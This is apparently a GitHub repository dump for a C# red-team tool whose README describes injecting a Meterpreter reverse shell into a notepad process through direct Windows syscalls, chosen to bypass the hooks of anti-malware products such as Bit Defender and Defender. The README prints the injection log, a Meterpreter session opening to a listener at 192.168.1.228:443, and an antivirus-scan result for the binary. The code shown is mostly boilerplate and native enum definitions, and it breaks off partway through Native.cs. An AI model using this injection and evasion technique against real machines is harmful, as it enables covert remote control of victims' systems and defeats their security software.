├── .gitignore
├── README.md
├── SysCall.sln
├── SysCall
├── App.config
├── Native.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── SysCall.csproj
└── Syscalls.cs
└── Syscall_scan.png
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Dd]ebugPublic/
19 | [Rr]elease/
20 | [Rr]eleases/
21 | x64/
22 | x86/
23 | [Aa][Rr][Mm]/
24 | [Aa][Rr][Mm]64/
25 | bld/
26 | [Bb]in/
27 | [Oo]bj/
28 | [Ll]og/
29 |
30 | # Visual Studio 2015/2017 cache/options directory
31 | .vs/
32 | # Uncomment if you have tasks that create the project's static files in wwwroot
33 | #wwwroot/
34 |
35 | # Visual Studio 2017 auto generated files
36 | Generated\ Files/
37 |
38 | # MSTest test Results
39 | [Tt]est[Rr]esult*/
40 | [Bb]uild[Ll]og.*
41 |
42 | # NUNIT
43 | *.VisualState.xml
44 | TestResult.xml
45 |
46 | # Build Results of an ATL Project
47 | [Dd]ebugPS/
48 | [Rr]eleasePS/
49 | dlldata.c
50 |
51 | # Benchmark Results
52 | BenchmarkDotNet.Artifacts/
53 |
54 | # .NET Core
55 | project.lock.json
56 | project.fragment.lock.json
57 | artifacts/
58 |
59 | # StyleCop
60 | StyleCopReport.xml
61 |
62 | # Files built by Visual Studio
63 | *_i.c
64 | *_p.c
65 | *_h.h
66 | *.ilk
67 | *.meta
68 | *.obj
69 | *.iobj
70 | *.pch
71 | *.pdb
72 | *.ipdb
73 | *.pgc
74 | *.pgd
75 | *.rsp
76 | *.sbr
77 | *.tlb
78 | *.tli
79 | *.tlh
80 | *.tmp
81 | *.tmp_proj
82 | *_wpftmp.csproj
83 | *.log
84 | *.vspscc
85 | *.vssscc
86 | .builds
87 | *.pidb
88 | *.svclog
89 | *.scc
90 |
91 | # Chutzpah Test files
92 | _Chutzpah*
93 |
94 | # Visual C++ cache files
95 | ipch/
96 | *.aps
97 | *.ncb
98 | *.opendb
99 | *.opensdf
100 | *.sdf
101 | *.cachefile
102 | *.VC.db
103 | *.VC.VC.opendb
104 |
105 | # Visual Studio profiler
106 | *.psess
107 | *.vsp
108 | *.vspx
109 | *.sap
110 |
111 | # Visual Studio Trace Files
112 | *.e2e
113 |
114 | # TFS 2012 Local Workspace
115 | $tf/
116 |
117 | # Guidance Automation Toolkit
118 | *.gpState
119 |
120 | # ReSharper is a .NET coding add-in
121 | _ReSharper*/
122 | *.[Rr]e[Ss]harper
123 | *.DotSettings.user
124 |
125 | # JustCode is a .NET coding add-in
126 | .JustCode
127 |
128 | # TeamCity is a build add-in
129 | _TeamCity*
130 |
131 | # DotCover is a Code Coverage Tool
132 | *.dotCover
133 |
134 | # AxoCover is a Code Coverage Tool
135 | .axoCover/*
136 | !.axoCover/settings.json
137 |
138 | # Visual Studio code coverage results
139 | *.coverage
140 | *.coveragexml
141 |
142 | # NCrunch
143 | _NCrunch_*
144 | .*crunch*.local.xml
145 | nCrunchTemp_*
146 |
147 | # MightyMoose
148 | *.mm.*
149 | AutoTest.Net/
150 |
151 | # Web workbench (sass)
152 | .sass-cache/
153 |
154 | # Installshield output folder
155 | [Ee]xpress/
156 |
157 | # DocProject is a documentation generator add-in
158 | DocProject/buildhelp/
159 | DocProject/Help/*.HxT
160 | DocProject/Help/*.HxC
161 | DocProject/Help/*.hhc
162 | DocProject/Help/*.hhk
163 | DocProject/Help/*.hhp
164 | DocProject/Help/Html2
165 | DocProject/Help/html
166 |
167 | # Click-Once directory
168 | publish/
169 |
170 | # Publish Web Output
171 | *.[Pp]ublish.xml
172 | *.azurePubxml
173 | # Note: Comment the next line if you want to checkin your web deploy settings,
174 | # but database connection strings (with potential passwords) will be unencrypted
175 | *.pubxml
176 | *.publishproj
177 |
178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
179 | # checkin your Azure Web App publish settings, but sensitive information contained
180 | # in these scripts will be unencrypted
181 | PublishScripts/
182 |
183 | # NuGet Packages
184 | *.nupkg
185 | # The packages folder can be ignored because of Package Restore
186 | **/[Pp]ackages/*
187 | # except build/, which is used as an MSBuild target.
188 | !**/[Pp]ackages/build/
189 | # Uncomment if necessary however generally it will be regenerated when needed
190 | #!**/[Pp]ackages/repositories.config
191 | # NuGet v3's project.json files produces more ignorable files
192 | *.nuget.props
193 | *.nuget.targets
194 |
195 | # Microsoft Azure Build Output
196 | csx/
197 | *.build.csdef
198 |
199 | # Microsoft Azure Emulator
200 | ecf/
201 | rcf/
202 |
203 | # Windows Store app package directories and files
204 | AppPackages/
205 | BundleArtifacts/
206 | Package.StoreAssociation.xml
207 | _pkginfo.txt
208 | *.appx
209 |
210 | # Visual Studio cache files
211 | # files ending in .cache can be ignored
212 | *.[Cc]ache
213 | # but keep track of directories ending in .cache
214 | !?*.[Cc]ache/
215 |
216 | # Others
217 | ClientBin/
218 | ~$*
219 | *~
220 | *.dbmdl
221 | *.dbproj.schemaview
222 | *.jfm
223 | *.pfx
224 | *.publishsettings
225 | orleans.codegen.cs
226 |
227 | # Including strong name files can present a security risk
228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
229 | #*.snk
230 |
231 | # Since there are multiple workflows, uncomment next line to ignore bower_components
232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
233 | #bower_components/
234 |
235 | # RIA/Silverlight projects
236 | Generated_Code/
237 |
238 | # Backup & report files from converting an old project file
239 | # to a newer Visual Studio version. Backup files are not needed,
240 | # because we have git ;-)
241 | _UpgradeReport_Files/
242 | Backup*/
243 | UpgradeLog*.XML
244 | UpgradeLog*.htm
245 | ServiceFabricBackup/
246 | *.rptproj.bak
247 |
248 | # SQL Server files
249 | *.mdf
250 | *.ldf
251 | *.ndf
252 |
253 | # Business Intelligence projects
254 | *.rdl.data
255 | *.bim.layout
256 | *.bim_*.settings
257 | *.rptproj.rsuser
258 | *- Backup*.rdl
259 |
260 | # Microsoft Fakes
261 | FakesAssemblies/
262 |
263 | # GhostDoc plugin setting file
264 | *.GhostDoc.xml
265 |
266 | # Node.js Tools for Visual Studio
267 | .ntvs_analysis.dat
268 | node_modules/
269 |
270 | # Visual Studio 6 build log
271 | *.plg
272 |
273 | # Visual Studio 6 workspace options file
274 | *.opt
275 |
276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
277 | *.vbw
278 |
279 | # Visual Studio LightSwitch build output
280 | **/*.HTMLClient/GeneratedArtifacts
281 | **/*.DesktopClient/GeneratedArtifacts
282 | **/*.DesktopClient/ModelManifest.xml
283 | **/*.Server/GeneratedArtifacts
284 | **/*.Server/ModelManifest.xml
285 | _Pvt_Extensions
286 |
287 | # Paket dependency manager
288 | .paket/paket.exe
289 | paket-files/
290 |
291 | # FAKE - F# Make
292 | .fake/
293 |
294 | # JetBrains Rider
295 | .idea/
296 | *.sln.iml
297 |
298 | # CodeRush personal settings
299 | .cr/personal
300 |
301 | # Python Tools for Visual Studio (PTVS)
302 | __pycache__/
303 | *.pyc
304 |
305 | # Cake - Uncomment if you are using it
306 | # tools/**
307 | # !tools/packages.config
308 |
309 | # Tabs Studio
310 | *.tss
311 |
312 | # Telerik's JustMock configuration file
313 | *.jmconfig
314 |
315 | # BizTalk build output
316 | *.btp.cs
317 | *.btm.cs
318 | *.odx.cs
319 | *.xsd.cs
320 |
321 | # OpenCover UI analysis results
322 | OpenCover/
323 |
324 | # Azure Stream Analytics local run output
325 | ASALocalRun/
326 |
327 | # MSBuild Binary and Structured Log
328 | *.binlog
329 |
330 | # NVidia Nsight GPU debugger configuration file
331 | *.nvuser
332 |
333 | # MFractors (Xamarin productivity tool) working folder
334 | .mfractor/
335 |
336 | # Local History for Visual Studio
337 | .localhistory/
338 |
339 | # BeatPulse healthcheck temp database
340 | healthchecksdb
341 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # System Calls
2 | An example of using Windows System Calls (syscalls) in C# to inject a meterpreter shell.
3 |
4 | # Introduction
5 | This code is based on the excellent [Red Team Tactics: Utilizing Syscalls in C#](https://jhalon.github.io/utilizing-syscalls-in-csharp-1/) primer by **Jack Halon**, explaining the use of 'System Calls in windows malware for post-exploitation activities, as well as for the bypassing of EDR or Endpoint Detection and Response'. I recommend reading it, it's not an easy subject, but well worth the effort!
6 |
7 | Some anti-malware products, such as Bit Defender inject user mode hooks in `ntdll.dll` when new processes are created. This means that whenever APIs such as `NtCreateThreadEx` are called in `ntdll.dll` Bit Defender intercepts the call, does its scanning, then returns execution to the thread (or more likely if there is a meterpreter payload, spoils the fun and kills the process).
8 |
9 | If we use syscalls directly we can avoid the hooks, and effectively bypassing the anti-malware scan.
10 |
11 | I updated the code to include dynamic syscall resolution, based upon the article [Dynamically resolving syscalls in C#](https://fgsec.net/posts/Dynamically-resolving-syscalls-in-CSharp/) by **FGSec**.
12 |
13 | # Codez
14 | If you just want to dig in to the code, go here:
15 |
16 | [Native.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Native.cs) - Native imports/structs from Win32 APIS
17 |
18 | [Syscalls.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Syscalls.cs) - The sycall implementation.
19 |
20 | [Program.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Program.cs) - The main routine.
21 |
22 |
23 | # Important
24 | ~~Syscall codes can and do change between operating systems. You must change the the codes in the [Syscalls class](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Syscalls.cs) to match those of your target.~~ Dynamically resolving syscalls fixes this.
25 |
26 | Remember, the code looks for an instance of notepad to inject into, it is trivial to change this, or even spawn a surregate process to inject in to.
27 |
28 | # Example
29 | Execution of the code is shown below:
30 |
31 | ```
32 | [+] Base Address of ntdll is 0x7FFE23450000
33 | [+] Target PID is 40140
34 | [+] Syscall NtOpenProcess on 40140
35 | [+] Return, NTSTATUS=Success, hProcess=0x2F4
36 | [+] Syscall NtAllocateVirtualMemory on 0x2F4
37 | [+] Return, NTSTATUS=Success, baseAddress=0x1D2A9120000
38 | [+] Syscall NtWriteVirtualMemory to 0x1D2A9120000
39 | [+] Return, NTSTATUS=Success, bytesWritten=0x736
40 | [+] Syscall NtProtectVirtualMemory on 0x1D2A9120000
41 | [+] Return, NTSTATUS=Success
42 | [+] Syscall NtCreateThreadEx to 0x1D2A9120000
43 | [+] Return, NTSTATUS=Success, hThread=0x896
44 | ```
45 |
46 | And the meterpreter shell:
47 |
48 | ```
49 | msf6 exploit(multi/handler) >
50 | [*] Started HTTPS reverse handler on https://192.168.1.228:443
51 | [*] https://192.168.1.228:443 handling request from 192.168.1.142; (UUID: bprg2hzm) Staging x64 payload (201308 bytes) ...
52 | [*] Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:58551) at 2021-10-05 12:53:47 +0100
53 | ```
54 |
55 | # AV Scan Results
56 |
57 | The binary was scanned using [antiscan.me](https://antiscan.me/scan/new/result?id=2kut9uVkyXQW) on 05/10/2021.
58 |
59 | 
60 |
61 | # Notes
62 |
63 | Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19042) with Defender.
64 |
--------------------------------------------------------------------------------
/SysCall.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31624.102
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SysCall", "SharpCall\SysCall.csproj", "{592D358E-A0AF-4703-9E7B-18E7327D01CB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|x64.ActiveCfg = Debug|x64
19 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|x64.Build.0 = Debug|x64
20 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|x64.ActiveCfg = Release|x64
23 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {D9845AFC-8FDB-48C2-B4A7-8EEC24E02142}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SysCall/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SysCall/Native.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace SysCall
5 | {
6 | class Native
7 | {
8 | public enum NTSTATUS : uint
9 | {
10 | // Success
11 | Wait0 = 0x00000000,
12 | Success = 0x00000000,
13 | Wait1 = 0x00000001,
14 | Wait2 = 0x00000002,
15 | Wait3 = 0x00000003,
16 | Wait63 = 0x0000003f,
17 | Abandoned = 0x00000080,
18 | AbandonedWait0 = 0x00000080,
19 | AbandonedWait1 = 0x00000081,
20 | AbandonedWait2 = 0x00000082,
21 | AbandonedWait3 = 0x00000083,
22 | AbandonedWait63 = 0x000000bf,
23 | UserApc = 0x000000c0,
24 | KernelApc = 0x00000100,
25 | Alerted = 0x00000101,
26 | Timeout = 0x00000102,
27 | Pending = 0x00000103,
28 | Reparse = 0x00000104,
29 | MoreEntries = 0x00000105,
30 | NotAllAssigned = 0x00000106,
31 | SomeNotMapped = 0x00000107,
32 | OpLockBreakInProgress = 0x00000108,
33 | VolumeMounted = 0x00000109,
34 | RxActCommitted = 0x0000010a,
35 | NotifyCleanup = 0x0000010b,
36 | NotifyEnumDir = 0x0000010c,
37 | NoQuotasForAccount = 0x0000010d,
38 | PrimaryTransportConnectFailed = 0x0000010e,
39 | PageFaultTransition = 0x00000110,
40 | PageFaultDemandZero = 0x00000111,
41 | PageFaultCopyOnWrite = 0x00000112,
42 | PageFaultGuardPage = 0x00000113,
43 | PageFaultPagingFile = 0x00000114,
44 | CrashDump = 0x00000116,
45 | ReparseObject = 0x00000118,
46 | NothingToTerminate = 0x00000122,
47 | ProcessNotInJob = 0x00000123,
48 | ProcessInJob = 0x00000124,
49 | ProcessCloned = 0x00000129,
50 | FileLockedWithOnlyReaders = 0x0000012a,
51 | FileLockedWithWriters = 0x0000012b,
52 |
53 | // Informational
54 | Informational = 0x40000000,
55 | ObjectNameExists = 0x40000000,
56 | ThreadWasSuspended = 0x40000001,
57 | WorkingSetLimitRange = 0x40000002,
58 | ImageNotAtBase = 0x40000003,
59 | RegistryRecovered = 0x40000009,
60 |
61 | // Warning
62 | Warning = 0x80000000,
63 | GuardPageViolation = 0x80000001,
64 | DatatypeMisalignment = 0x80000002,
65 | Breakpoint = 0x80000003,
66 | SingleStep = 0x80000004,
67 | BufferOverflow = 0x80000005,
68 | NoMoreFiles = 0x80000006,
69 | HandlesClosed = 0x8000000a,
70 | PartialCopy = 0x8000000d,
71 | DeviceBusy = 0x80000011,
72 | InvalidEaName = 0x80000013,
73 | EaListInconsistent = 0x80000014,
74 | NoMoreEntries = 0x8000001a,
75 | LongJump = 0x80000026,
76 | DllMightBeInsecure = 0x8000002b,
77 |
78 | // Error
79 | Error = 0xc0000000,
80 | Unsuccessful = 0xc0000001,
81 | NotImplemented = 0xc0000002,
82 | InvalidInfoClass = 0xc0000003,
83 | InfoLengthMismatch = 0xc0000004,
84 | AccessViolation = 0xc0000005,
85 | InPageError = 0xc0000006,
86 | PagefileQuota = 0xc0000007,
87 | InvalidHandle = 0xc0000008,
88 | BadInitialStack = 0xc0000009,
89 | BadInitialPc = 0xc000000a,
90 | InvalidCid = 0xc000000b,
91 | TimerNotCanceled = 0xc000000c,
92 | InvalidParameter = 0xc000000d,
93 | NoSuchDevice = 0xc000000e,
94 | NoSuchFile = 0xc000000f,
95 | InvalidDeviceRequest = 0xc0000010,
96 | EndOfFile = 0xc0000011,
97 | WrongVolume = 0xc0000012,
98 | NoMediaInDevice = 0xc0000013,
99 | NoMemory = 0xc0000017,
100 | NotMappedView = 0xc0000019,
101 | UnableToFreeVm = 0xc000001a,
102 | UnableToDeleteSection = 0xc000001b,
103 | IllegalInstruction = 0xc000001d,
104 | AlreadyCommitted = 0xc0000021,
105 | AccessDenied = 0xc0000022,
106 | BufferTooSmall = 0xc0000023,
107 | ObjectTypeMismatch = 0xc0000024,
108 | NonContinuableException = 0xc0000025,
109 | BadStack = 0xc0000028,
110 | NotLocked = 0xc000002a,
111 | NotCommitted = 0xc000002d,
112 | InvalidParameterMix = 0xc0000030,
113 | ObjectNameInvalid = 0xc0000033,
114 | ObjectNameNotFound = 0xc0000034,
115 | ObjectNameCollision = 0xc0000035,
116 | ObjectPathInvalid = 0xc0000039,
117 | ObjectPathNotFound = 0xc000003a,
118 | ObjectPathSyntaxBad = 0xc000003b,
119 | DataOverrun = 0xc000003c,
120 | DataLate = 0xc000003d,
121 | DataError = 0xc000003e,
122 | CrcError = 0xc000003f,
123 | SectionTooBig = 0xc0000040,
124 | PortConnectionRefused = 0xc0000041,
125 | InvalidPortHandle = 0xc0000042,
126 | SharingViolation = 0xc0000043,
127 | QuotaExceeded = 0xc0000044,
128 | InvalidPageProtection = 0xc0000045,
129 | MutantNotOwned = 0xc0000046,
130 | SemaphoreLimitExceeded = 0xc0000047,
131 | PortAlreadySet = 0xc0000048,
132 | SectionNotImage = 0xc0000049,
133 | SuspendCountExceeded = 0xc000004a,
134 | ThreadIsTerminating = 0xc000004b,
135 | BadWorkingSetLimit = 0xc000004c,
136 | IncompatibleFileMap = 0xc000004d,
137 | SectionProtection = 0xc000004e,
138 | EasNotSupported = 0xc000004f,
139 | EaTooLarge = 0xc0000050,
140 | NonExistentEaEntry = 0xc0000051,
141 | NoEasOnFile = 0xc0000052,
142 | EaCorruptError = 0xc0000053,
143 | FileLockConflict = 0xc0000054,
144 | LockNotGranted = 0xc0000055,
145 | DeletePending = 0xc0000056,
146 | CtlFileNotSupported = 0xc0000057,
147 | UnknownRevision = 0xc0000058,
148 | RevisionMismatch = 0xc0000059,
149 | InvalidOwner = 0xc000005a,
150 | InvalidPrimaryGroup = 0xc000005b,
151 | NoImpersonationToken = 0xc000005c,
152 | CantDisableMandatory = 0xc000005d,
153 | NoLogonServers = 0xc000005e,
154 | NoSuchLogonSession = 0xc000005f,
155 | NoSuchPrivilege = 0xc0000060,
156 | PrivilegeNotHeld = 0xc0000061,
157 | InvalidAccountName = 0xc0000062,
158 | UserExists = 0xc0000063,
159 | NoSuchUser = 0xc0000064,
160 | GroupExists = 0xc0000065,
161 | NoSuchGroup = 0xc0000066,
162 | MemberInGroup = 0xc0000067,
163 | MemberNotInGroup = 0xc0000068,
164 | LastAdmin = 0xc0000069,
165 | WrongPassword = 0xc000006a,
166 | IllFormedPassword = 0xc000006b,
167 | PasswordRestriction = 0xc000006c,
168 | LogonFailure = 0xc000006d,
169 | AccountRestriction = 0xc000006e,
170 | InvalidLogonHours = 0xc000006f,
171 | InvalidWorkstation = 0xc0000070,
172 | PasswordExpired = 0xc0000071,
173 | AccountDisabled = 0xc0000072,
174 | NoneMapped = 0xc0000073,
175 | TooManyLuidsRequested = 0xc0000074,
176 | LuidsExhausted = 0xc0000075,
177 | InvalidSubAuthority = 0xc0000076,
178 | InvalidAcl = 0xc0000077,
179 | InvalidSid = 0xc0000078,
180 | InvalidSecurityDescr = 0xc0000079,
181 | ProcedureNotFound = 0xc000007a,
182 | InvalidImageFormat = 0xc000007b,
183 | NoToken = 0xc000007c,
184 | BadInheritanceAcl = 0xc000007d,
185 | RangeNotLocked = 0xc000007e,
186 | DiskFull = 0xc000007f,
187 | ServerDisabled = 0xc0000080,
188 | ServerNotDisabled = 0xc0000081,
189 | TooManyGuidsRequested = 0xc0000082,
190 | GuidsExhausted = 0xc0000083,
191 | InvalidIdAuthority = 0xc0000084,
192 | AgentsExhausted = 0xc0000085,
193 | InvalidVolumeLabel = 0xc0000086,
194 | SectionNotExtended = 0xc0000087,
195 | NotMappedData = 0xc0000088,
196 | ResourceDataNotFound = 0xc0000089,
197 | ResourceTypeNotFound = 0xc000008a,
198 | ResourceNameNotFound = 0xc000008b,
199 | ArrayBoundsExceeded = 0xc000008c,
200 | FloatDenormalOperand = 0xc000008d,
201 | FloatDivideByZero = 0xc000008e,
202 | FloatInexactResult = 0xc000008f,
203 | FloatInvalidOperation = 0xc0000090,
204 | FloatOverflow = 0xc0000091,
205 | FloatStackCheck = 0xc0000092,
206 | FloatUnderflow = 0xc0000093,
207 | IntegerDivideByZero = 0xc0000094,
208 | IntegerOverflow = 0xc0000095,
209 | PrivilegedInstruction = 0xc0000096,
210 | TooManyPagingFiles = 0xc0000097,
211 | FileInvalid = 0xc0000098,
212 | InstanceNotAvailable = 0xc00000ab,
213 | PipeNotAvailable = 0xc00000ac,
214 | InvalidPipeState = 0xc00000ad,
215 | PipeBusy = 0xc00000ae,
216 | IllegalFunction = 0xc00000af,
217 | PipeDisconnected = 0xc00000b0,
218 | PipeClosing = 0xc00000b1,
219 | PipeConnected = 0xc00000b2,
220 | PipeListening = 0xc00000b3,
221 | InvalidReadMode = 0xc00000b4,
222 | IoTimeout = 0xc00000b5,
223 | FileForcedClosed = 0xc00000b6,
224 | ProfilingNotStarted = 0xc00000b7,
225 | ProfilingNotStopped = 0xc00000b8,
226 | NotSameDevice = 0xc00000d4,
227 | FileRenamed = 0xc00000d5,
228 | CantWait = 0xc00000d8,
229 | PipeEmpty = 0xc00000d9,
230 | CantTerminateSelf = 0xc00000db,
231 | InternalError = 0xc00000e5,
232 | InvalidParameter1 = 0xc00000ef,
233 | InvalidParameter2 = 0xc00000f0,
234 | InvalidParameter3 = 0xc00000f1,
235 | InvalidParameter4 = 0xc00000f2,
236 | InvalidParameter5 = 0xc00000f3,
237 | InvalidParameter6 = 0xc00000f4,
238 | InvalidParameter7 = 0xc00000f5,
239 | InvalidParameter8 = 0xc00000f6,
240 | InvalidParameter9 = 0xc00000f7,
241 | InvalidParameter10 = 0xc00000f8,
242 | InvalidParameter11 = 0xc00000f9,
243 | InvalidParameter12 = 0xc00000fa,
244 | MappedFileSizeZero = 0xc000011e,
245 | TooManyOpenedFiles = 0xc000011f,
246 | Cancelled = 0xc0000120,
247 | CannotDelete = 0xc0000121,
248 | InvalidComputerName = 0xc0000122,
249 | FileDeleted = 0xc0000123,
250 | SpecialAccount = 0xc0000124,
251 | SpecialGroup = 0xc0000125,
252 | SpecialUser = 0xc0000126,
253 | MembersPrimaryGroup = 0xc0000127,
254 | FileClosed = 0xc0000128,
255 | TooManyThreads = 0xc0000129,
256 | ThreadNotInProcess = 0xc000012a,
257 | TokenAlreadyInUse = 0xc000012b,
258 | PagefileQuotaExceeded = 0xc000012c,
259 | CommitmentLimit = 0xc000012d,
260 | InvalidImageLeFormat = 0xc000012e,
261 | InvalidImageNotMz = 0xc000012f,
262 | InvalidImageProtect = 0xc0000130,
263 | InvalidImageWin16 = 0xc0000131,
264 | LogonServer = 0xc0000132,
265 | DifferenceAtDc = 0xc0000133,
266 | SynchronizationRequired = 0xc0000134,
267 | DllNotFound = 0xc0000135,
268 | IoPrivilegeFailed = 0xc0000137,
269 | OrdinalNotFound = 0xc0000138,
270 | EntryPointNotFound = 0xc0000139,
271 | ControlCExit = 0xc000013a,
272 | PortNotSet = 0xc0000353,
273 | DebuggerInactive = 0xc0000354,
274 | CallbackBypass = 0xc0000503,
275 | PortClosed = 0xc0000700,
276 | MessageLost = 0xc0000701,
277 | InvalidMessage = 0xc0000702,
278 | RequestCanceled = 0xc0000703,
279 | RecursiveDispatch = 0xc0000704,
280 | LpcReceiveBufferExpected = 0xc0000705,
281 | LpcInvalidConnectionUsage = 0xc0000706,
282 | LpcRequestsNotAllowed = 0xc0000707,
283 | ResourceInUse = 0xc0000708,
284 | ProcessIsProtected = 0xc0000712,
285 | VolumeDirty = 0xc0000806,
286 | FileCheckedOut = 0xc0000901,
287 | CheckOutRequired = 0xc0000902,
288 | BadFileType = 0xc0000903,
289 | FileTooLarge = 0xc0000904,
290 | FormsAuthRequired = 0xc0000905,
291 | VirusInfected = 0xc0000906,
292 | VirusDeleted = 0xc0000907,
293 | TransactionalConflict = 0xc0190001,
294 | InvalidTransaction = 0xc0190002,
295 | TransactionNotActive = 0xc0190003,
296 | TmInitializationFailed = 0xc0190004,
297 | RmNotActive = 0xc0190005,
298 | RmMetadataCorrupt = 0xc0190006,
299 | TransactionNotJoined = 0xc0190007,
300 | DirectoryNotRm = 0xc0190008,
301 | CouldNotResizeLog = 0xc0190009,
302 | TransactionsUnsupportedRemote = 0xc019000a,
303 | LogResizeInvalidSize = 0xc019000b,
304 | RemoteFileVersionMismatch = 0xc019000c,
305 | CrmProtocolAlreadyExists = 0xc019000f,
306 | TransactionPropagationFailed = 0xc0190010,
307 | CrmProtocolNotFound = 0xc0190011,
308 | TransactionSuperiorExists = 0xc0190012,
309 | TransactionRequestNotValid = 0xc0190013,
310 | TransactionNotRequested = 0xc0190014,
311 | TransactionAlreadyAborted = 0xc0190015,
312 | TransactionAlreadyCommitted = 0xc0190016,
313 | TransactionInvalidMarshallBuffer = 0xc0190017,
314 | CurrentTransactionNotValid = 0xc0190018,
315 | LogGrowthFailed = 0xc0190019,
316 | ObjectNoLongerExists = 0xc0190021,
317 | StreamMiniversionNotFound = 0xc0190022,
318 | StreamMiniversionNotValid = 0xc0190023,
319 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
320 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
321 | CantCreateMoreStreamMiniversions = 0xc0190026,
322 | HandleNoLongerValid = 0xc0190028,
323 | NoTxfMetadata = 0xc0190029,
324 | LogCorruptionDetected = 0xc0190030,
325 | CantRecoverWithHandleOpen = 0xc0190031,
326 | RmDisconnected = 0xc0190032,
327 | EnlistmentNotSuperior = 0xc0190033,
328 | RecoveryNotNeeded = 0xc0190034,
329 | RmAlreadyStarted = 0xc0190035,
330 | FileIdentityNotPersistent = 0xc0190036,
331 | CantBreakTransactionalDependency = 0xc0190037,
332 | CantCrossRmBoundary = 0xc0190038,
333 | TxfDirNotEmpty = 0xc0190039,
334 | IndoubtTransactionsExist = 0xc019003a,
335 | TmVolatile = 0xc019003b,
336 | RollbackTimerExpired = 0xc019003c,
337 | TxfAttributeCorrupt = 0xc019003d,
338 | EfsNotAllowedInTransaction = 0xc019003e,
339 | TransactionalOpenNotAllowed = 0xc019003f,
340 | TransactedMappingUnsupportedRemote = 0xc0190040,
341 | TxfMetadataAlreadyPresent = 0xc0190041,
342 | TransactionScopeCallbacksNotSet = 0xc0190042,
343 | TransactionRequiredPromotion = 0xc0190043,
344 | CannotExecuteFileInTransaction = 0xc0190044,
345 | TransactionsNotFrozen = 0xc0190045,
346 |
347 | MaximumNtStatus = 0xffffffff
348 | }
349 |
350 | [Flags]
351 | public enum ACCESS_MASK : uint
352 | {
353 | DELETE = 0x00010000,
354 | READ_CONTROL = 0x00020000,
355 | WRITE_DAC = 0x00040000,
356 | WRITE_OWNER = 0x00080000,
357 | SYNCHRONIZE = 0x00100000,
358 |
359 | STANDARD_RIGHTS_REQUIRED = 0x000F0000,
360 |
361 | STANDARD_RIGHTS_READ = 0x00020000,
362 | STANDARD_RIGHTS_WRITE = 0x00020000,
363 | STANDARD_RIGHTS_EXECUTE = 0x00020000,
364 |
365 | STANDARD_RIGHTS_ALL = 0x001F0000,
366 |
367 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
368 |
369 | ACCESS_SYSTEM_SECURITY = 0x01000000,
370 |
371 | MAXIMUM_ALLOWED = 0x02000000,
372 |
373 | GENERIC_READ = 0x80000000,
374 | GENERIC_WRITE = 0x40000000,
375 | GENERIC_EXECUTE = 0x20000000,
376 | GENERIC_ALL = 0x10000000,
377 |
378 | DESKTOP_READOBJECTS = 0x00000001,
379 | DESKTOP_CREATEWINDOW = 0x00000002,
380 | DESKTOP_CREATEMENU = 0x00000004,
381 | DESKTOP_HOOKCONTROL = 0x00000008,
382 | DESKTOP_JOURNALRECORD = 0x00000010,
383 | DESKTOP_JOURNALPLAYBACK = 0x00000020,
384 | DESKTOP_ENUMERATE = 0x00000040,
385 | DESKTOP_WRITEOBJECTS = 0x00000080,
386 | DESKTOP_SWITCHDESKTOP = 0x00000100,
387 |
388 | WINSTA_ENUMDESKTOPS = 0x00000001,
389 | WINSTA_READATTRIBUTES = 0x00000002,
390 | WINSTA_ACCESSCLIPBOARD = 0x00000004,
391 | WINSTA_CREATEDESKTOP = 0x00000008,
